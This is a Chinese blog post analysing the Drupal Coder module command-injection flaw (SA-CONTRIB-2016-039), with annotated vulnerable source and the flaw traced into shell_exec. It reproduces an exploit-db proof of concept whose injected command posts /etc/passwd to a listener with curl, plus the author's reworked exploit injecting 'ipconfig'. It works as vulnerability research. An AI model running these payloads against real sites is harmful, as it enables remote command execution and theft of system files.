• Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)


    转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html

    起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/

    后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267

    分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。

    从exploit-db的漏洞详情中,我们可以看到这个poc:

    <?php
    # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
    # https://www.drupal.org/node/2765575
    # by Raz0r (http://raz0r.name)
     
    $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
    $host = "http://localhost:81/drupal-7.12/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "color",
                "files" => array("color.module")
            )
        ),
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../../../../sites/default/files"
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
    ?>
    

      然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。

    我们来分析:

    0x00  我们首先定位漏洞的位置搞清楚执行流程

    全局搜索,定位到了两处。其中的一处有我做测试时候的输出。

    我们跟进去,

    继续往上找。

    在coder_upgrade_start函数的定义中使用了这个,继续跟进。

    到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。

    所以,接着我们来尝试构造exp。

    0x01 构造利用的exp

    在coder_upgrade.run.php中,我们看到

    set_error_handler("error_handler");
    set_exception_handler("exception_handler");
    

      这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。

    我们本地测试就不去修改这个配置了。先注释掉这个判断。

    <?php
    /**
     * @file
     * Invokes the Coder Upgrade conversion routines as a separate process.
     *
     * Using this script:
     * - helps to minimize the memory usage by the web interface process
     * - helps to avoid hitting memory and processing time limits by the PHP process
     * - enables a batch processing workflow
     *
     * Parameters to this script:
     * @param string $path
     *   Path to a file containing runtime parameters
     *
     * The parameters should be stored as the serialized value of an associative
     * array with the following keys:
     * - paths: paths to files and modules
     * - theme_cache: path to core theme information cache
     * - variables: variables used by coder_upgrade
     * - upgrades: array to be passed to coder_upgrade_start()
     * - extensions: ditto
     * - items: ditto
     *
     * @see coder_upgrade_conversions_prepare()
     * @see coder_upgrade_parameters_save()
     * @see coder_upgrade_start()
     *
     * To execute this script, save the following shell script to a file and execute
     * the shell script from the root directory of your Drupal installation. If you
     * have changed the default coder_upgrade output directory name, then modify
     * this script accordingly.
     *
     * #!/bin/sh
     *
     * MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
     * FILES_DIRECTORY=[fill this in, e.g. default or mysite]
     * CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
     * SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
     * RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
     * OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
     *
     * php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
     *
     * Alternatively, replace the bracketed items in the following command and
     * execute it from the root directory of your Drupal installation.
     *
     * php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php 
     *  -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt 
     *  > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
     *
     * Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
     */
    
    // if (!script_is_cli()) {
    //   // Without proper web server configuration, this script can be invoked from a
    //   // browser and is vulnerable to misuse.
    //   return;
    // }
    
    
    // Save memory usage for printing later (when code is loaded).
    $usage = array();
    save_memory_usage('start', $usage);
    
    /**
     * Root directory of Drupal installation.
     */
    define('DRUPAL_ROOT', getcwd());
    
    ini_set('display_errors', 1);
    ini_set('memory_limit', '128M');
    ini_set('max_execution_time', 180);
    set_error_handler("error_handler");
    set_exception_handler("exception_handler");
    
    // Read command line arguments.
    $path = extract_arguments(); //获取到file参数的值
    if (is_null($path)) {
      echo 'No path to parameter file';
      return 2;
    }
    
    
    // Load runtime parameters.
    $parameters = unserialize(file_get_contents($path));
    
    // Extract individual array items by key.
    foreach ($parameters as $key => $variable) {
      $$key = $variable;     //变量覆盖,也是问题发生的关键地方
    }
    save_memory_usage('load runtime parameters', $usage);
    
    // Set global variables (whose names do not align with extracted parameters).
    $_coder_upgrade_variables = $variables;
    $_coder_upgrade_files_base = $paths['files_base'];
    $_coder_upgrade_libraries_base = $paths['libraries_base'];
    $_coder_upgrade_modules_base = $paths['modules_base'];
    
    //以上的赋值需要构造,否则直接退出。
    
    
    // Load core theme cache.
    $_coder_upgrade_theme_registry = array();
    if (is_file($theme_cache)) {
      $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
    }
    save_memory_usage('load core theme cache', $usage);
    
    // Load coder_upgrade bootstrap code.
    $path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
    $files = array(
      'coder_upgrade.inc',
      'includes/main.inc',
      'includes/utility.inc',
    );
    
    foreach ($files as $file) {
      require_once DRUPAL_ROOT . '/' . $path . "/$file";
    }
    
    //循环去包含文件,其中的main.inc会触发漏洞
    
    coder_upgrade_path_clear('memory');
    print_memory_usage($usage);
    
    // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
    // $trace_file = $trace_base . '1.trace';
    // xdebug_start_trace($trace_file);
    coder_upgrade_memory_print('load coder_upgrade bootstrap code');
    // xdebug_stop_trace();
    
    echo "upgrades"."<br>";
    var_dump($upgrades);
    
    echo "extensions"."<br>";
    var_dump($extensions);
    
    echo "items"."<br>";
    var_dump($items);  //调试输出的信息,原来的文件并没有
    
    
    // Apply conversion functions.
    $success = coder_upgrade_start($upgrades, $extensions, $items);  //关键性的items变量带入
    
    // $trace_file = $trace_base . '2.trace';
    // xdebug_start_trace($trace_file);
    coder_upgrade_memory_print('finish');
    // xdebug_stop_trace();
    
    return $success ? 0 : 1;
    
    /**
     * Returns command line arguments.
     *
     * @return mixed
     *   String or array of command line arguments.
     */
    function extract_arguments() {
      switch (php_sapi_name()) {
        case 'apache':
        case 'apache2handler': // This is the value when running curl.
          if (!isset($_GET['file'])) {
            echo 'file parameter is not set';
            return;
          }
          $filename = $_GET['file'];
          $action = isset($_GET['action']) ? $_GET['action'] : '';
          break;
    
        case 'cli':
          $skip_args = 2;
          if ($_SERVER['argc'] == 2) {
            $skip_args = 1;
          }
          elseif ($_SERVER['argc'] < 2) {
            echo 'CLI-1: file parameter is not set' . "
    ";
            return;
          }
          foreach ($_SERVER['argv'] as $index => $arg) {
            // First two arguments are usually script filename and '--'.
            // Sometimes the '--' is omitted.
            if ($index < $skip_args) continue;
            list($key, $value) = explode('=', $arg);
            $arguments[$key] = $value;
          }
          if (!isset($arguments['file'])) {
            echo 'CLI-2: file parameter is not set' . "
    ";
            return;
          }
          $filename = $arguments['file'];
          $action = isset($arguments['action']) ? $arguments['action'] : '';
          break;
      }
      return $filename;
    }
    
    /**
     * Saves memory usage for printing later.
     *
     * @param string $step
     *   A string describing the code step when the memory usage is gathered.
     *
     * @return mixed
     *   String or array of command line arguments.
     */
    function save_memory_usage($step, &$usage) {
      $usage[] = $step;
      $usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
      $usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
      $usage[] = '';
      $usage[] = '';
    }
    
    function print_memory_usage($usage) {
      $text = 'Missing memory usage information';
      if (is_array($usage)) {
        $text = implode("
    ", $usage);
      }
      coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
    }
    
    function exception_handler($e) {
      try {
        // ... normal exception stuff goes here
      }
      catch (Exception $e) {
        print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
      }
    }
    
    function error_handler($code, $message, $file, $line) {
      if (0 == error_reporting()) {
        return;
      }
      throw new ErrorException($message, 0, $code, $file, $line);
    }
    
    /**
     * Returns boolean indicating whether script is being run from the command line.
     *
     * @see drupal_is_cli()
     */
    function script_is_cli() {
      return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
    }
    

      对比原先的exp,我们加上两个变量:

    "variables" => 1,
    "theme_cache" => 1,
    

      最终的利用代码参考:

    <?php 
    
    $host = "http://192.168.30.134/test/coder/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "coder",
                "files" => array("coder.module")
            )
        ),
        "variables" => 1,
        "theme_cache" => 1,
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
        "paths" => array(
            "modules_base" => "../../..",
            "files_base" => "../..",
            "libraries_base" => 1
        )
    );
    $payload = serialize($a);
    echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
    
     ?>
    

      运行的结果会在当前的目录下生成一个文件夹:

    原因是因为这个:

    这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。

    刚开始学习审计,多有不足之处,还请指出。

  • 相关阅读:
    iOS开发——工厂模式
    iOS开发——单例模式
    iOS开发——设备信息小结(未完待续...)
    iOS开发——点击图片全屏显示
    关于Extjs Grid的选择问题
    Extjs form表单获得Values,表单控件没有Name,只有值时,如何获取后面的值
    Extjs Grid获取当前选中的行号
    让ToolBar的Item放置在右边(默认为左边)
    WBS探讨
    EXtjs为combo设置默认值
  • 原文地址:https://www.cnblogs.com/magic-zero/p/5787181.html
Copyright © 2020-2023  润新知